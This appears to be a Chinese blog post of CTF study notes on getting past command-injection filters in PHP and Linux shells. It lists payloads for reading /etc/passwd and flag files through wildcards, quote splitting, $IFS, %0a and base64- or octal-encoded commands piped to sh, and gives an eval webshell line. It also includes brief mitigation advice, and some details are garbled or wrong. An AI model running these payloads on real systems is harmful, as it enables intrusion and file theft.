4-1绕过姿势
绕过防护的方法
通配符
1、?:匹配单个字符或匹配多个字符就需要用多个?连接,代表一个未知字符
- cat hello.??? //利用?匹配txt
2、*:*代表任意数量的字符 - cat hel* //查看当前目录下所有以he开头的文件
3、[]:代表一定有一个[]内的字符(非任意字符),例如[abcd]代表有其中任意一个字符,可以是a,b,c,d中任意一个
示例:一个常用的读取密码命令:cat /etc/passwd;
cat hel[l]o.txt //命令正常执行,但是不可加到命令关键字里面。
ca[t] hel[l]o.txt //报错
使用了?通配符之后,他就可能有很多种变化,比如这两种,而这些亲测都是可以使用的
cat /?tc/?as?wd和cat /*tc/*as*wd
这里需要注意的也是一样,不要局限自己的思维,几种通配符也是可以搭配使用的
与正则表达式的区别:正则中,?匹配前面的字符或表达式一次或零次,*匹配前面的字符或表达式多次或零次。
未初始化变量
未初始化的变量值都是null,例如a , a,a,b,在linux环境下输出都为null ,所以可以用未初始化变量加在一些命令的末尾,来绕过一些黑名单
示例: cat$a /etc$a/passwd$a
Linux绕过
\绕过
例如:l\s
""绕过
例如:l""s
' '绕过
例如:l''s
${XXX}绕过
- l${XXX}s:XXX中啥都行
$@绕过
- l$@s
自增绕过
preg_match绕过
php使用的PCRE库使用了NFA作为正则引擎
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限,回溯次数上限默认是100万
空格代替
<<>:针对数据包,如.txt文件%20:针对web传参%09:针对web传参%0a$IFS$IFS$9:针对数据包${IFS}:针对数据包()
cat替换命令
- tac 与cat相反,按行反向输出
- more 按页显示
- less 与less类似
- head 从文件首行查看
- tail 从文件末尾查看
- nl 与cat相同会显示行数
- grep 直接查找文件中的关键字
%0a绕过
- %0a代表换行,通过%0a能够注入一条新的命令
- 有些函数只会识别和处理第一行的相关字符,使用%0a将数据换行,可以绕过一些函数执行命令
花括号{}
- linux中,可以使用花括号执行系统命令,同时花括号中可以使用逗号代替空格。
- 针对数据包,{ip,addr} , {cat,hello.txt},{ls,},如果是单命令也需要加上一个逗号
引号执行(绕过)
- cat fl''ag
- cat fl''a""g
- cat he""Il"o.txt //命令正常执行
目录分隔符绕过
cd 文件;cat 文件;......- 通过分号分割命令
- |,&&
反引号(内联执行)
- cat find 不能执行
- cat
find能执行 - Shell 的反引号展开机制:当 Shell 遇到反引号时,会先执行反引号内部的命令
- 反引号(`)可以进行嵌套:
- 反引号嵌套时,shell 会按照从内到外的顺序进行解析
- 最内层的反引号命令先执行,其输出会被用来替换该反引号部分,然后再执行外层的反引号命令
- 示例:cat
echo \find . -name "*.txt"``- 最内层的反引号:find . -name "*.txt" 执行,找到当前目录及其子目录下所有扩展名为 .txt 的文件
- 最外层的反引号:echo 命令将 find 命令的输出作为参数输出
- 使用反斜杠来转义反引号的原因是为了确保嵌套的反引号能够被正确解析
- 虽然反引号可以嵌套,但嵌套层数过多会导致命令难以阅读和维护。为了提高可读性和避免潜在的错误,建议在复杂的场景中使用 $() 语法代替反引号,因为它支持嵌套且语法更清晰
$()
- 示例:cat $(echo $(find . -name "*.txt"))
单引号与双引号
echo "{${phpinfo()}}";
- PHP 中,使用双引号(" ")包裹的字符串可以进行变量解析
- $name = "John"; echo "Hello, $name"; ,输出的结果是 Hello, John
- {} 这种语法在字符串中用于明确变量的边界,特别是在变量后面有其他字母、数字等情况时,可以让 PHP 正确地解析变量
- 即
- ${} 这种结构实际上是用来获取变量的值的。不过在这里,它尝试将 phpinfo() 函数当作变量来处理
- 所以会尝试获取一个名为 phpinfo() 的变量的值
- 由于不存在这个变量,这里的 ${phpinfo()} 实际上不会得到有效的变量值。然后将这个不存在的变量值嵌入到 {} 中,再作为 echo 输出的内容
- 这串代码输出的结果是一个空值或者错误信息,具体取决于 PHP 的配置和错误报告级别
echo '{${phpinfo()}}';
- 输出结果是{${phpinfo()}},不会解析变量
base64编码
- 原理
- echo "abcd" | base64(命令行进行base64加密)
- echo "YWJjzAo=" | base64 -d(命令行对base64解密)
- 实现输入的命令中没有ls但执行ls的功能
- echo "ls" | base64
- echo "bHMK" | base64 -d | bash
- echo "bHMK" | base64 -d | sh(将命令经过base64解码后的命令ls进行执行)
- 实现输入的命令中没有cat但执行cat的功能(上面的ls要换成cat)
- echo Y2F0IGZsYWcucGhw|base64 -d|sh
cat [file]|base64还可以用base64 [file],结果会以base64编码形式输出
oct编码(八进制编码)
- 在 shell 中,八进制编码不会被自动解析为字符
- 但
printf或echo支持这种转换- echo -e "octal_sequence"
- printf "\141\142\143"
- 八进制数的范围是 0 到 377(对应十进制的 0 到 255),超过这个范围会导致错误
- 可以夹杂八进制数,不用全是八进制数
- 绕过示例:$(printf "\154\163") # ls命令
str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for i in str1:
#对字符先转换为ASCII码,再转换为八进制
r = oct(ord(i))
#这个主要是为了将八进制前面的0o替换掉
r=str(r).replace("0o","")
arr.append(r)
s = "\\"
# print(arr)
#将所有的八进制组合,最终的结果第一个地方应该再添加一个\
p=s.join(arr)
print(p)
hex编码(需要装xxd命令)
- -r 解码
- -p 省略0x
- echo "abcd" | xxd(命令行进行hex编码)
- echo "616263640a" | xxd -r -p(命令行进行hex解码)
- echo "ls" | xxd
- echo "6c730a" xxd -r -p | bash(执行ls命令)
- echo "6c730a" xxd -r -p | sh(执行ls命令)
偶读拼接/变量拼接(过滤某个单词)
- 原理:利用变量将最后的字符拼接起来
- 例如当前目录有个hello.txt 的文件,可以使用”a=hel;b=lo;cat \(a\)b.txt“进行读取
- 同理执行—条命令可以使用a=l;b=s;\(a\)b进行执行。
题目示例:
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "";
print_r($a);
payload: ip=1;b=g;cat fla$b.php
### 作为命令执行的时候才会将$b替换,不然就是作为一个字符串存在
### b是该条命令中自己造的,不需要代码中有
# 字符顺序和通配符
## 正则表达式 /.*f.*l.*a.*g.*/ 的核心逻辑是:
## 顺序性:f、l、a、g 必须按顺序出现。
## 绕过思路
### 要绕过这个正则表达式,关键在于打破字符的顺序性,使得 f、l、a、g 不按顺序出现,或者通过其他方式避免直接包含这些字符。
文件包含漏洞
利用的前提条件
(1)web 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参
数的方式引入
(2)用户能够控制包含文件的参数,被包含的文件可被当前页面访问
文件包含获取 webshell 的条件:
(1)攻击者需要知道文件存放的物理路径;
(2)对上传文件所在目录拥有可执行权限;
(3)存在文件包含漏洞
例如<?php eval($_REQUEST['ctfhub']);?>中有一个eval漏洞,可通过POST请求改变ctfhub进行操作如ctfhub=system('ls');(注:分号一定要加上)。通过get(包含文件) post(传参)并用来得到flag
漏洞常见位置
各种cms框架的命令执行漏洞是最多的,着重在这些地方找,除此之外就是插件位置,插件因为各种原因经常也需要执行系统命令,当然其他的地方也有,只是说这两个位置最多。
命令执行漏洞修复
一、PHP配置文件禁用敏感函数
通过php配置文件中的disable_functions禁用敏感函数。
二、使用相关过滤函数处理相关参数
1、escapeshellarg函数:把字符串转码为可以在 shell 命令里使用的参数,过滤命令中的参数。
2、escapeshellarg函数:shell 元字符转义,过滤命令。
三、正则过滤
示例:preg_match_all("/cat/", $ip, $m)
四、函数过滤
strpos(,,):用于查找字符串,第一个参数必须,为要搜索的字符串,第二个参数必须,为要查找的字符串,第三个参数可选,规定在何处开始搜索- 例如用于查找GET请求的变量中是否有
flag
- 例如用于查找GET请求的变量中是否有
substr(,,)+include():substr()是php中的一个字符串处理函数,用于返回字符串的一部分,第一个参数为字符串。include()会将指定文件的内容包含到当前脚本中,如果文件包含PHP代码,那么这些代码将被执行。- 漏洞示例:
if (substr($_GET["file"],0,6)==="php://") {include($_GET["file"]);} - 如果存在'file'参数,检查它的值的前六个字符是否等于"php://"。这是一个危险的操作,因为它允许通过URL传递特殊流协议(如php://filter、php://input等)来执行任意代码。
- 漏洞示例:
error_reporting(E_ALL);:这行代码设置了PHP的错误报告级别为E_ALL,意味着PHP将报告所有错误,包括警告和通知。这在开发过程中可以帮助调试,但在生产环境中可能会暴露敏感信息,因此通常不建议这样做。
注
__isset()判断一个变量是否已设置, 即变量已被声明,且其值为ture

浙公网安备 33010602011771号